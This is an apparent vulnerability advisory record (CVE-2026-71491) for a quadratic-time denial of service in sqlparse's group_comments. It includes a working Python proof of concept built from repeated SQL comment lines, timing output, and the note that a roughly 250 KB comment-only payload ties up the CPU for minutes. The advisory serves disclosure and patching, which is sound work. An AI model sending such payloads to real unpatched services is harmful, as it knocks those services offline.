{"id":"CVE-2026-71491","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-71491","summary":"sqlparse: Quadratic O(n²) DoS in group_comments","details":"### Summary\nA comment-only statement (`-- c\\n`*n) may cause a Denial of Service (DoS).\n\n### Details\nLocation: [sqlparse/engine/grouping.py:331-341](https://github.com/andialbrecht/sqlparse/blob/f80af6a4007f11ada847218df8c29dc859238290/sqlparse/engine/grouping.py#L332) (`group_comments`), invoked first in `group()` at `grouping.py:439`. Reachable via `sqlparse.parse()` and `sqlparse.format(sql, strip_comments=True)`.\n\nA statement made of many single-line comments (`'-- c\\n'` repeated) lexes in O(n) but `group_comments` is O(n²):\n\n```python\ndef group_comments(tlist):\n    tidx, token = tlist.token_next_by(t=T.Comment)\n    while token:\n        eidx, end = tlist.token_not_matching(\n            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)\n        ...\n        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)\n```\n\nThe `while` loop runs n times and each `token_next_by` / `token_not_matching` rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.\n\nTwo following factors increase the severity:\n\n1. `group_comments` runs first in `group()` (`grouping.py:439`), before the `_group_matching` token-count guard (`grouping.py:34-39`). So the entire quadratic cost is paid even on oversized input. `MAX_GROUPING_TOKENS` does not provide protection on this vector.\n2. It sits on the primary sanitizer path: `format(sql, strip_comments=True)`, used by query loggers, SQL firewalls, ORMs, and migration tools.\n\n### PoC\nTested using Python 3.14:\n\n```python\nimport time, sqlparse\nfor n in (1000, 2000, 4000):\n    s = \"-- c\\n\" * n\n    t = time.perf_counter()\n    sqlparse.format(s, strip_comments=True)\n    print(f\"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms\")\n```\n\nOutput:\n\n```\nn= 1000  format(strip_comments)=  106.0 ms\nn= 2000  format(strip_comments)=  403.3 ms\nn= 4000  format(strip_comments)= 1602.8 ms\n```\n\nTime increase of ~4× per 2× input (quadratic). `parse()` shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.\n\n### Impact\nDenial of Service","published":"2026-08-17T17:21:00Z","modified":"2026-08-17T17:30:07.215829447Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"sqlparse","fixedVersion":"0.6.0"}],"fix":{"url":"https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87","label":"andialbrecht/sqlparse@ef2012a"},"references":[{"type":"WEB","url":"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-f2ff-p2ww-7p4p"},{"type":"WEB","url":"https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87"},{"type":"PACKAGE","url":"https://github.com/andialbrecht/sqlparse"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T17:30:07.215829447Z"}}